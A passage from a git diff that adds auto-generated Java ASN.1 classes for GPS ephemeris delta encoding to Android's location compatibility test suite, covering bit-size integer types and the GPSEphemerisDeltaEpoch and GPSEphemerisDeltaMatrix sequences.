+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_sqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_sqrtAType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_sqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_sqrtAType from encoded stream.
+ */
+ public static bitsize_delta_sqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_sqrtAType result = new bitsize_delta_sqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_sqrtAType from encoded stream.
+ */
+ public static bitsize_delta_sqrtAType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_sqrtAType result = new bitsize_delta_sqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_sqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_i0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_i0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_i0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_i0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_i0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_i0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_i0Type from encoded stream.
+ */
+ public static bitsize_delta_i0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_i0Type result = new bitsize_delta_i0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_i0Type from encoded stream.
+ */
+ public static bitsize_delta_i0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_i0Type result = new bitsize_delta_i0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_i0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omega0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omega0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omega0Type from encoded stream.
+ */
+ public static bitsize_delta_omega0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omega0Type result = new bitsize_delta_omega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omega0Type from encoded stream.
+ */
+ public static bitsize_delta_omega0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omega0Type result = new bitsize_delta_omega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_crsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_crsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_crsType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_crsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_crsType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_crsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_crsType from encoded stream.
+ */
+ public static bitsize_delta_crsType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_crsType result = new bitsize_delta_crsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_crsType from encoded stream.
+ */
+ public static bitsize_delta_crsType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_crsType result = new bitsize_delta_crsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_crsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cisType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cisType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cisType from encoded stream.
+ */
+ public static bitsize_delta_cisType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cisType result = new bitsize_delta_cisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cisType from encoded stream.
+ */
+ public static bitsize_delta_cisType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cisType result = new bitsize_delta_cisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cusType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cusType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cusType from encoded stream.
+ */
+ public static bitsize_delta_cusType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cusType result = new bitsize_delta_cusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cusType from encoded stream.
+ */
+ public static bitsize_delta_cusType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cusType result = new bitsize_delta_cusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_crcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_crcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_crcType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_crcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_crcType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_crcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_crcType from encoded stream.
+ */
+ public static bitsize_delta_crcType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_crcType result = new bitsize_delta_crcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_crcType from encoded stream.
+ */
+ public static bitsize_delta_crcType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_crcType result = new bitsize_delta_crcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_crcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cicType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cicType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cicType from encoded stream.
+ */
+ public static bitsize_delta_cicType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cicType result = new bitsize_delta_cicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cicType from encoded stream.
+ */
+ public static bitsize_delta_cicType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cicType result = new bitsize_delta_cicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cucType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cucType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cucType from encoded stream.
+ */
+ public static bitsize_delta_cucType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cucType result = new bitsize_delta_cucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cucType from encoded stream.
+ */
+ public static bitsize_delta_cucType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cucType result = new bitsize_delta_cucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cucType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_tgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_tgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_tgdType() {
+ super();
+ setValueRange("1", "10");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_tgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_tgdType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_tgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgdType from encoded stream.
+ */
+ public static bitsize_delta_tgdType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_tgdType result = new bitsize_delta_tgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgdType from encoded stream.
+ */
+ public static bitsize_delta_tgdType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_tgdType result = new bitsize_delta_tgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_tgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisDeltaBitSizes = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
new file mode 100755
index 0000000..315d0d1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisDeltaEpoch extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisDeltaEpoch
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisDeltaEpoch() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisDeltaEpoch;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisDeltaEpoch != null) {
+ return ImmutableList.of(TAG_GPSEphemerisDeltaEpoch);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaEpoch from encoded stream.
+ */
+ public static GPSEphemerisDeltaEpoch fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaEpoch result = new GPSEphemerisDeltaEpoch();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaEpoch from encoded stream.
+ */
+ public static GPSEphemerisDeltaEpoch fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaEpoch result = new GPSEphemerisDeltaEpoch();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSDeltaEpochHeader gpsDeltaEpochHeader_;
+ public GPSDeltaEpochHeader getGpsDeltaEpochHeader() {
+ return gpsDeltaEpochHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSDeltaEpochHeader
+ */
+ public void setGpsDeltaEpochHeader(Asn1Object value) {
+ this.gpsDeltaEpochHeader_ = (GPSDeltaEpochHeader) value;
+ }
+ public GPSDeltaEpochHeader setGpsDeltaEpochHeaderToNewInstance() {
+ gpsDeltaEpochHeader_ = new GPSDeltaEpochHeader();
+ return gpsDeltaEpochHeader_;
+ }
+
+ private GPSDeltaElementList gpsDeltaElementList_;
+ public GPSDeltaElementList getGpsDeltaElementList() {
+ return gpsDeltaElementList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSDeltaElementList
+ */
+ public void setGpsDeltaElementList(Asn1Object value) {
+ this.gpsDeltaElementList_ = (GPSDeltaElementList) value;
+ }
+ public GPSDeltaElementList setGpsDeltaElementListToNewInstance() {
+ gpsDeltaElementList_ = new GPSDeltaElementList();
+ return gpsDeltaElementList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsDeltaEpochHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsDeltaEpochHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsDeltaEpochHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSDeltaEpochHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsDeltaEpochHeader : "
+ + getGpsDeltaEpochHeader().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsDeltaElementList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsDeltaElementList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsDeltaElementListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSDeltaElementList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsDeltaElementList : "
+ + getGpsDeltaElementList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisDeltaEpoch = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
new file mode 100755
index 0000000..f51c66f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSEphemerisDeltaMatrix
+ extends Asn1SequenceOf<GPSEphemerisDeltaEpoch> {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisDeltaMatrix
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisDeltaMatrix() {
+ super();
+ setMinSize(1);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisDeltaMatrix;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisDeltaMatrix != null) {
+ return ImmutableList.of(TAG_GPSEphemerisDeltaMatrix);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaMatrix from encoded stream.
+ */
+ public static GPSEphemerisDeltaMatrix fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaMatrix result = new GPSEphemerisDeltaMatrix();
